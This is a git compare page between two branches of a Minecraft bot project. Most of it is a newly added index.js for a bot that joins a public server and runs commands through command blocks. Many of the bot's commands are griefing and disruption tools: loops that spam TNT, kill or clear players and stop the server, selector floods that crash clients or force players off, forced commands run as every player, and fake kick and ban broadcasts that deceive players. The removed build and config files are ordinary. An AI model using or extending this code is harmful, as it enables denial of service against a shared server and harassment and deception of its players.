Compare commits

...

No commits in common. "main" and "v2.0-resivion" have entirely different histories.

101 changed files with 748 additions and 14887 deletions

8
.gitignore vendored
View file

@ -1,9 +1 @@
node_modules
config.yml
.git .git
src/modules/exploits.js
logs/*
src/data/filter.json
data/filter.json
prototyping-crap

748
index.js Normal file
View file

@ -0,0 +1,748 @@
const mineflayer = require('mineflayer')
let symbol = require('illegal-symbols')
var server = 'play.chipmunk.land'
//NMxigAU6dR1KfgaQkKz87L
const readline = require('readline')
var gameMode = require('mineflayer-cmd')
let rl = readline.createInterface({ input: process.stdin, output: process.stdout })
const randomstring = require('randomstring');
const bot = mineflayer.createBot({
host: server,
port: 25565,
username: randomstring.generate(8),
version: 1.17
})
var sleep = t => new Promise(a => setTimeout(a, t)),
sendChat = async function(m) { bot.chat(m.slice(0, 256)); await sleep(300); }
function between(min, max) {
return Math.floor(
Math.random() * (max - min) + min
)
}
//variables
var prefix = '&8&l[&b&lFNFBoyfriendBot&8&l]&8&l[&4&lVersion&a&l2.0&8&l]&8&l[&4&lParker2991&8&l]&8&l[&5&lSpim&5&lThe&5&lO&5&lc&5&lt&5&lo&5&ll&5&li&5&ln&5&lg&8&l]';
var consoleprefix = 'bcraw &8&l[&b&lFNFBoyfriendBot&8&l]&8&l[&4&lVersion&a&l2.0&8&l]&8&l[&4&lParker2991&8&l]&8&l[&5&lSpim&5&lThe&5&lO&5&lc&5&lt&5&lo&5&ll&5&li&5&ln&5&lg&8&l]';
function randomchar() {
const crypto = require("crypto");
var hash = crypto.createHash("md5");
var randomBytes = crypto.randomBytes(16);
hash.update(randomBytes);
var hashi = hash.digest(Math.round(Math.random()) ? "hex" : "Base64");
return hashi.substring(0, 16);
}
function runInCore(cmd) {
bot._client.write('update_command_block', { location: { x: between(Math.floor(bot.entity.position.x) + 1, Math.floor(bot.entity.position.x) - 15), y: between(0, 3), z: between(Math.floor(bot.entity.position.z) + 1, Math.floor(bot.entity.position.z) - 15) }, command: cmd, mode: 1, flags: 0b100 });
}
bot.on('login', async () => {
console.log(`logged in as ${bot.username}`)
//change the coords if bot has problems
//await sendChat('/tp '+require('randomstring').generate({length:5,charset:'1234567890'})+' 5 '+require('randomstring').generate({length:6,charset:'1234567890'}))
await sendChat('/world 3')
await sendChat('/tptoggle parker2991')
await sendChat('/tp parker2991')
await sendChat('/tptoggle parker2991')
await sendChat('/tptoggle')
await sendChat('/v on')
await sendChat('/console ')
await sendChat('/username')
await sendChat('/c')
await sendChat('/night')
await sendChat('/gamerule doMobSpawning false')
await sendChat('/de')
await sendChat('/online')
await sendChat('/cspy on')
await sendChat('/prefix &4[BOT/CONSOLE]')
await sendChat('/sudo parker2991 prefix &8&l[&4&lOwner &a&lof &a&lthe &b&lFNFBoyfriend&4&lbot&8&l]&8&l[&9&lDiscord&8&l]')
await sendChat('/sudo spimtheoctoling prefix &8&l[&5&lOwner of the VeemoBot&8&l]')
await sendChat(`/fill ${Math.floor(bot.entity.position.x)} 0 ${Math.floor(bot.entity.position.z)} ${Math.floor(bot.entity.position.x) - 15} 50 ${Math.floor(bot.entity.position.z - 15)} command_block replace`)
runInCore('bcraw ' + prefix + '&b&lOwner &4&lis &4&lParker2991')
runInCore('bcraw ' + prefix + ' &b&lCo-Owner &5&lSpimTheOctoling')
runInCore('bcraw ' + prefix + ' Release date 2/7/23 8:01pm for &4&l2.0')
runInCore('bcraw ' + prefix + '&b&lFull bot release 1/26/23 1:47am')
runInCore('bcraw ' + prefix + '&a&l Version &a&l2.0 &a&l RELEASE')
runInCore('bcraw ' + prefix + 'Users of the bot Parker2991 and SpimTheOctoling')
runInCore('bcraw ' + prefix + 'full bot release &8&l1/26/23 &8&l1:47am &8&lCentral &8&ltime')
runInCore('bcraw ' + prefix + 'i got a discord now if anyone wants a bot go to here https://discord.gg/PaxKxXTs')
})
const cmd = require('mineflayer-cmd').plugin
cmd.allowConsoleInput = false // Optional config argument
bot.loadPlugin(cmd)
//nuke command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'nuke':
setInterval(function() { runInCore('essentials:ekill *'), 1 })
setInterval(function() { runInCore('nuke'), 1 })
setInterval(function() { runInCore('eco give * 1000'), 1 })
setInterval(function() { runInCore('day'), 1 })
setInterval(function() { runInCore('night'), 1 })
setInterval(function() { runInCore('clear @a'), 1 })
setInterval(function() { runInCore('summon fireball 115 62 -5'), 1 })
setInterval(function() { runInCore('bcraw ' + prefix + 'WELCOME TO HELL'), 1 })
break
}
})
//fakekick command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'fakekick':
runInCore('msg ' + args + ' @e @e @e @e @e @e @e @e @e')
runInCore('bcraw &8&l[&b&m&lFNFBoyfriendbot&8&l]&8&l[&5&lVeemoBot&8&l] ' + args + ' has been kicked!')
break
}
})
//gmc command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'gmc':
sendChat('/minecraft:gamemode creative')
runInCore('bcraw &4DOWN IN OHIO!')
break
}
})
//deop command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'deop':
setInterval(function() { runInCore('sudo + playerusername deop @s[type=player]'), 1 })
}
})
//kaboom command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'kaboom':
setInterval(function() { runInCore('sudo * kaboom'), 8 })
runInCore('bcraw have fun =)')
break
}
})
//BOOM command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'BOOM':
runInCore('sudo * /fast')
runInCore('sudo * god')
runInCore('sudo * gms')
runInCore('sudo * /sphere tnt 75')
runInCore('sudo * kaboom')
runInCore('BOOM GOES THE DINOMITE')
break
}
})
//kick command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'kick':
runInCore('/console @e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e@e')
runInCore('bcraw &8&l[&b&m&lBoyfriendbot&8&l]&8&l[&5&lVeemoBot&8&l] ' + args + ' has been kicked!')
break
}
})
//greeting command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'greeting':
runInCore('bcraw &eAyunami2000 Joined the game')
break
}
})
//fakeban commnad
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'fakeban':
runInCore('msg ' + args + ' @e @e @e @e @e @e @e @e @e')
runInCore('bcraw &4&l&mConsole Has Perm Banned ' + args + 'For 22 Days And 14 Hours')
break
}
})
//thor commnad
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'thor':
runInCore('essentials:smite *' + args)
runInCore('bcraw ' + prefix + '&4&lI AM ZEUS')
break
}
})
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'vanish':
sendChat('/vanish on ' + bot.username + '')
break
}
})
//OHHAIL console
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'OHHAIL':
runInCore('sudo * c: OH HAIL FIRE MOTHER FUCKER' + args.join(' '))
break
}
})
//servercrash command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'servercrash':
setInterval(function() { runInCore('essentials:sudo * kick @e[type=player] @e @e @e'), 1 })
break
}
})
//explode command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'explode':
setInterval(function() { runInCore('minecraft:execute unless entity @e[name= run ] at ' + args + ' run summon minecraft:tnt'), 1 })
break
}
})
//trol command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'trol':
setInterval(function() { runInCore('essentials:smite ' + args), 1 })
setInterval(function() { runInCore('clear ' + args), 1 })
setInterval(function() { runInCore('effect give ' + args + ' nausea'), 1 })
setInterval(function() { runInCore('effect give ' + args + ' poison'), 1 })
runInCore('gms ' + args)
setInterval(function() { runInCore('spawnentity pig 10 ' + args), 1 })
setInterval(function() { runInCore('spawnentity tntminecart 10 ' + args), 1 })
setInterval(function() { runInCore('spawnentity zombie 10 ' + args), 1 })
setInterval(function() { runInCore('kaboom ' + args), 1 })
break
}
})
//cloop command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'cloop':
setInterval(function() { runInCore(args.join(' ')), 1 })
break
}
})
//altcrash command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'altcrash':
setInterval(function() { runInCore('sudo * execute at @a run give @a diamond_hoe 64'), 1 })
setInterval(function() { runInCore('bcraw ' + prefix + '&8&l Have fun with hoes =) '), 1 })
runInCore
break
}
})
//Myhead command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'MyHead':
runInCore('give @a minecraft:player_head{SkullOwner:Parker2991}')
runInCore('give @a minecraft:player_head{SkullOwner:SpimTheOctoling}')
runInCore('bcraw ' + prefix + 'My Head')
break
}
})
//MYLEG! command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'MYLEG':
runInCore('bcraw ' + prefix + '&4&lM&4&lY &4&lLEG!!!')
runInCore('give @a bone 64')
break
}
})
//KFCFINGERLICKINGOOD command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'KFC':
runInCore('give @a cooked_chicken 64')
runInCore('bcraw ' + prefix + 'KFC FINGER LICKIN GOOD')
break
}
})
//GODSWORD!! command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'GODSWORD':
runInCore('give @a diamond_sword')
runInCore('sudo * enchantall')
runInCore('bcraw ' + prefix + 'GOD SWORD!!!!!!!!!!!!!!!!!')
break
}
})
//technoblade command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'technoblade':
runInCore('sudo * summon pig')
runInCore('bcraw ' + prefix + 'Rest in peace technoblade we will always love and remember what you have done for youtube technoblade if you can here me i love your youtube channel')
break
}
})
//DREAMSTANALERT command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'DREAMSTANALERT':
runInCore('bcraw ' + prefix + 'OH HELL NO DREAM STAN ALERT')
runInCore('execute unless entity @s[name= run ] run stop')
break
}
})
//test command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'test':
setInterval(function() { runInCore('sudo * ' + args + ' summon minecraft:iron_golem'), 1 })
break
}
})
//soundbreaker
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'soundbreaker':
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.wolf.hurt master @a ~ ~ ~ 10000 1.5 1 '), 1 })
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.cat.hurt master @a ~ ~ ~ 10000 1.5 1 '), 1 })
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.wolf.hurt master @a ~ ~ ~ 10000 1 1 '), 1 })
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.cat.hurt master @a ~ ~ ~ 10000 1 1 '), 1 })
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.cat.hiss master @a ~ ~ ~ 10000 1.5 1 '), 1 })
setInterval(function() { runInCore('sudo * execute at @a run playsound minecraft:entity.cat.hiss master @a ~ ~ ~ 10000 1 1 '), 1 })
break
}
})
//entityspam
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'entityspam':
setInterval(function() { runInCore('sudo * summon fireball '), 1 })
setInterval(function() { runInCore('sudo * summon ender_dragon '), 1 })
setInterval(function() { runInCore('sudo * summon zombie '), 1 })
setInterval(function() { runInCore('sudo * summon creeper'), 1 })
setInterval(function() { runInCore('sudo * blaze'), 1 })
setInterval(function() { runInCore('sudo * summon horse '), 1 })
setInterval(function() { runInCore('sudo * summon spider '), 1 })
setInterval(function() { runInCore('sudo * summon fireball '), 1 })
setInterval(function() { runInCore('sudo * summon ender_dragon '), 1 })
setInterval(function() { runInCore('sudo * summon zombie '), 1 })
setInterval(function() { runInCore('sudo * ummon creeper '), 1 })
setInterval(function() { runInCore('sudo * summon blazed '), 1 })
setInterval(function() { runInCore('sudo * summon horse '), 1 })
setInterval(function() { runInCore('sudo * summon spider '), 1 })
break
}
})
//tp command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'tp':
runInCore('essentials:sudo * tp ' + args)
break
}
})
//gms command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'gms':
setInterval(function() { runInCore('sudo * gms ' + args), 1 })
break
}
})
//stop command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'stop':
runInCore('bcraw ' + prefix + 'STOPPING SERVER.....')
setInterval(function() { runInCore('execute unless entity @s[name= run ] run stop'), 1 })
break
}
})
//tntspam command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'tntspam':
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt'), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt '), 1 })
setInterval(function() { runInCore('sudo * summon tnt'), 1 })
break
}
})
//prefix command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'prefix':
runInCore('sudo * prefix ' + args)
break
}
})
//annoy command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'annoy':
setInterval(function() { runInCore('sudo * c:WHYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY' + ''), 1 })
setInterval(function() { runInCore('sudo * playsound minecraft:entity.cat.hurt master @a ~ ~ ~ 10000 1.5 1' + ''), 1 })
break
}
})
//freeze command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'freeze':
setInterval(function() { runInCore('tp ' + args + ' ' + args), 1 })
break
}
})
//troll command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'troll':
setInterval(function() { runInCore('day'), 1 })
setInterval(function() { runInCore('night'), 1 })
setInterval(function() { runInCore('clear @a'), 1 })
setInterval(function() { runInCore('effect give @a nausea'), 1 })
setInterval(function() { runInCore('effect give @a slowness'), 1 })
setInterval(function() { runInCore('give @a bedrock'), 1 })
setInterval(function() { runInCore('give @a sand'), 1 })
setInterval(function() { runInCore('give @a dirt'), 1 })
setInterval(function() { runInCore('give @a diamond'), 1 })
setInterval(function() { runInCore('give @a tnt'), 1 })
setInterval(function() { runInCore('give @a crafting_table'), 1 })
setInterval(function() { runInCore('give @a diamond_block'), 1 })
setInterval(function() { runInCore('smite *'), 1 })
setInterval(function() { runInCore('essentials:smite ' + args), 1 })
setInterval(function() { runInCore('clear ' + args), 1 })
setInterval(function() { runInCore('effect give ' + args + ' nausea'), 1 })
setInterval(function() { runInCore('effect give ' + args + ' poison'), 1 })
runInCore('gms ' + args)
setInterval(function() { runInCore('spawnentity pig 10 ' + args), 1 })
setInterval(function() { runInCore('spawnentity tntminecart 10 ' + args), 1 })
setInterval(function() { runInCore('spawnentity zombie 10 ' + args), 1 })
setInterval(function() { runInCore('kaboom ' + args), 1 })
break
}
})
//icu command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'icu':
setInterval(function() { runInCore('tp ' + args + ' Parker2991'), 1 })
break
}
})
//say command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'say':
runInCore('bcraw ' + prefix + args.join(' '))
break
}
})
//deop command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'op':
sendChat('/op ' + bot.username + '')
break
}
})
//sudo command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'sudo':
runInCore('sudo ' + args.join(' '))
break
}
})
//tpe command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'tpe':
runInCore('execute unless entity @s[name= run ] run tp @e[type=!player] ' + args)
break
}
})
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'refillcore':
sendChat(`/fill ${Math.floor(bot.entity.position.x)} 0 ${Math.floor(bot.entity.position.z)} ${Math.floor(bot.entity.position.x) - 15} 50 ${Math.floor(bot.entity.position.z - 15)} command_block replace`)
break
}
})
//sudoall command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'sudoall':
runInCore('essentials:sudo * ' + args.join(' '))
break
}
})
//selfdestruct command
rl.on('line', (line) => {
let args = line.split(' ')
let command = args.shift()
switch (command) {
case 'selfdestruct':
setInterval(function() { runInCore('day'), 1 })
setInterval(function() { runInCore('night'), 1 })
setInterval(function() { runInCore('clear @a'), 1 })
setInterval(function() { runInCore('effect give @a nausea'), 1 })
setInterval(function() { runInCore('effect give @a slowness'), 1 })
setInterval(function() { runInCore('give @a bedrock'), 1 })
setInterval(function() { runInCore('give @a sand'), 1 })
setInterval(function() { runInCore('give @a dirt'), 1 })
setInterval(function() { runInCore('give @a diamond'), 1 })
setInterval(function() { runInCore('give @a tnt'), 1 })
setInterval(function() { runInCore('give @a crafting_table'), 1 })
setInterval(function() { runInCore('give @a diamond_block'), 1 })
setInterval(function() { runInCore('smite *'), 1 })
setInterval(function() { runInCore('kaboom'), 1 })
setInterval(function() { runInCore('essentials:ekill *'), 1 })
setInterval(function() { runInCore('nuke'), 1 })
setInterval(function() { runInCore('eco give * 1000'), 1 })
setInterval(function() { runInCore('day'), 1 })
setInterval(function() { runInCore('night'), 1 })
setInterval(function() { runInCore('clear @a'), 1 })
setInterval(function() { runInCore('summon fireball 115 62 -5'), 1 })
setInterval(function() { runInCore('sudo * /fast'), 1 })
setInterval(function() { runInCore('sudo * gms'), 1 })
setInterval(function() { runInCore('sudo * /sphere tnt 75'), 1 })
setInterval(function() { runInCore('sudo * kaboom'), 1 })
break
}
})
bot.on('message', async (chatMessage) => {
//prevents the command set message
if (typeof chatMessage.translate === 'string' && chatMessage.translate.startsWith('advMode.')) return
console.log(chatMessage.toAnsi())
})

2708
package-lock.json generated

File diff suppressed because it is too large Load diff

View file

@ -1,22 +0,0 @@
{
"dependencies": {
"cowsay": "^1.6.0",
"cowsay2": "^2.0.4",
"discord.js": "^14.16.3",
"java-parser": "^2.3.2",
"js-yaml": "^4.1.0",
"json-stringify": "^1.0.0",
"json5": "^2.2.3",
"jvm": "^0.5.3",
"man-db": "^1.0.3",
"minecraft-data": "^3.69.0",
"minecraft-protocol": "^1.47.0",
"mojangson": "^2.0.4",
"node-gyp": "^10.2.0",
"prismarine-auth": "^2.2.0",
"prismarine-chat": "^1.10.1",
"prismarine-registry": "^1.7.0",
"wikipedia": "^2.1.2",
"xml2js": "^0.6.2"
}
}

View file

@ -1,5 +0,0 @@
const nbt = require('prismarine-nbt');
async function aaa () {
console.log(await nbt.stringify("e"));
}
aaa()

View file

@ -1,65 +0,0 @@
const bots = require('../data/changelog.json');
module.exports = {
name: 'changelog',
description: ['check the bots changelog'],
trustLevel: 0,
aliases: ['clv', 'changes'],
usage:[""],
execute (context) {
const query = context.arguments.join(' ').toLowerCase()
const bot = context.bot
if (query.length === 0) {
const list = []
for (const info of bots) {
if (list.length !== 0) list.push({ text: ', ', color: 'gray' })
list.push(info.name)
}
const category = {
translate: ' (%s%s%s%s%s%s%s%s%s) ',
bold: false,
color: 'gray',
with: [
{ color: 'aqua', text: 'Alpha Release' },
{ color: 'gray', text: ' | ' },
{ color: 'blue', text: 'Beta Release' },
{ color: 'gray', text: ' | ' },
{ color: 'green', text: 'Minor release' },
{ color: 'gray', text: ' | ' },
{ color: 'gold', text: 'Revision Release' },
{ color: 'gray', text: ' | ' },
{ color: 'dark_red', text: 'Major Release' }
]
}
bot.tellraw("@a", [{ text: 'Changelogs (', color: 'gray' }, { text: JSON.stringify(bots.length), color: 'gold' }, { text: ')', color: 'gray' }, category, ' - ', ...list])
return
}
for (const info of bots) {
const plainName = String(context.bot.getMessageAsPrismarine(info.name)).toLowerCase()
if (plainName.includes(query)) this.sendBotInfo(info, context.bot)
}
},
sendBotInfo (info, bot) {
const component = ['']
component.push('', info.name)
if (info.exclaimer) component.push('\n', ' ', info.exclaimer)
if (info.authors && info.authors.length !== 0) {
component.push('\n', 'Codename ')
for (const author of info.authors) {
component.push(author, { text: ', ', color: 'gray' })
}
component.pop()
}
if (info.foundation) component.push('\n', 'Date: ', info.foundation)
if (info.prefixes && info.prefixes.length !== 0) {
component.push('\n', '')
for (const prefix of info.prefixes) {
component.push(prefix, { text: ' ', color: 'gray' })
}
component.pop()
}
bot.tellraw('@a', [component])
}
}

View file

@ -1,17 +0,0 @@
const https = require('node:https');
https.get('https://encrypted.google.com/', (res) => {
console.log('statusCode:', res.statusCode);
// console.log('headers:', res.headers);
console.log((res.complete))
let data;
res.on('data', (d) => {
process.stdout.write(d);
// if (data === undefined) data = chunk;
// else data += chunk;
// console.log(data);
});
}).on('error', (e) => {
console.error(e);
});

View file

@ -1,70 +0,0 @@
/*
* This file was generated by the Gradle 'init' task.
*
* This is a general purpose Gradle build.
* To learn more about Gradle by exploring our Samples at https://docs.gradle.org/8.5/samples
*/
/*
* This file was generated by the Gradle 'init' task.
*/
plugins {
id 'java'
id 'java-library'
id 'maven-publish'
id 'com.github.johnrengelman.shadow' version '8.1.1'
}
group = 'land.chipmunk.parker2991'
version = 'v6.0.0-alpha(ff08479)'
description = 'FNFBoyfriendBot'
java.sourceCompatibility = JavaVersion.VERSION_17
repositories {
mavenLocal()
mavenCentral()
maven {
url = uri('https://repo.opencollab.dev/maven-snapshots/')
}
maven {
url = uri('https://repo.opencollab.dev/maven-releases/')
}
maven {
url = uri('https://repo.maven.apache.org/maven2/')
}
maven {
url = uri("https://jitpack.io")
}
maven {
url = uri('https://maven.maxhenkel.de/repository/public')
}
}
dependencies {
implementation 'com.github.steveice10:mcprotocollib:1.20.2-1-SNAPSHOT'
implementation 'net.kyori:adventure-text-serializer-ansi:4.14.0'
implementation 'com.google.code.gson:gson:2.10.1'
implementation 'com.google.guava:guava:31.1-jre'
implementation 'org.jline:jline:3.23.0'
implementation 'org.yaml:snakeyaml:2.0'
}
jar {
manifest {
attributes 'Main-Class': 'land.chipmunk.parker2991.fnfboyfriendbot.Main'
}
}
tasks.withType(JavaCompile).configureEach {
options.encoding = 'UTF-8'
}
tasks.withType(Javadoc).configureEach {
options.encoding = 'UTF-8'
}

View file

@ -1,3 +0,0 @@
voiding interger will return a number
public static void functionName() {} has the funcion return nothing

View file

@ -1,2 +0,0 @@
# This file was generated by the Gradle 'init' task.
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format

View file

@ -1,7 +0,0 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.5-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

View file

@ -1,249 +0,0 @@
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
